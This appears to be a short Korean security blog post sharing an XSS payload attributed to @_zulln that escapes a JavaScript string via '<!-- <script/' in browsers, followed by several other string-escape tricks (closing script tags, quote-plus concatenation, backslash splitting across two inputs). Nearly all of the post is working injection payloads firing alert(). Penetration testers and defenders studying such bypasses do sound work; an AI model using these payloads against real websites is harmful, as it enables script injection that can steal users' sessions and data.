XSS payload for escaping the string in JavaScript

오늘 오후쯤 신기한 페이로드를 하나 찾아서 메모해뒀다가 글로 작성해봅니다. 아마도 자바스크립트 내부에 코드가 삽입되었지만 문자열을 탈출할 수 없을 때 사용할 수 있으며 이런 형태의 패턴이 들어가는 곳도 은근히 있을 것 같습니다.

XSS Payload

@_zulln이 최근에 신기한 XSS 페이로드를 하나 공개했습니다.

<script>
  var test = "injection <!-- <script/";
</script>

<img src="</script><script>alert(origin)</script>">

눈으로 보기엔, test 변수에 injection <!-- <script/ 값만 들어갈 것 같지만, 실제로 동작 시 닫는 스크립트가(</script>) 무시되며 이를 이용해서 자바스크립트 내부에서 문자열 구간을 탈출하여 구문을 실행할 수 있습니다.

소스보기 하이라이팅도 저렇게 표기하네요. 개인적인 추측으론 <!-- 로 인해서 뒤의 처리를 무시하려는 것 같은데, 정상적인 문법은 아닌지라 그냥 브라우저상의 처리 오류라고 보는게 어떨까 싶습니다.

Bypass string area

겸사겸사 자바스크립트 내부에서의 문자열 탈출 방법도 몇개 같이 써 봅니다.

with <!-- <script/

<script>
  var test = "injection <!-- <script/";
</script>

<img src="</script><script>alert(origin)</script>">

with </script>

<script>
  var test = "</script><svg/onload=alert(45)>"
</script>

with double quot and plus

<script>
  var test = ""+alert(45)+""
  // user input: "+alert(45)+"
</script>

with backslash

<script>
  var test = "\", test1="+alert(45)//input2"
  // Original: var test = "input1", test1="input2"
  // user input1: \
  // user input2: +alert(45)//
</script>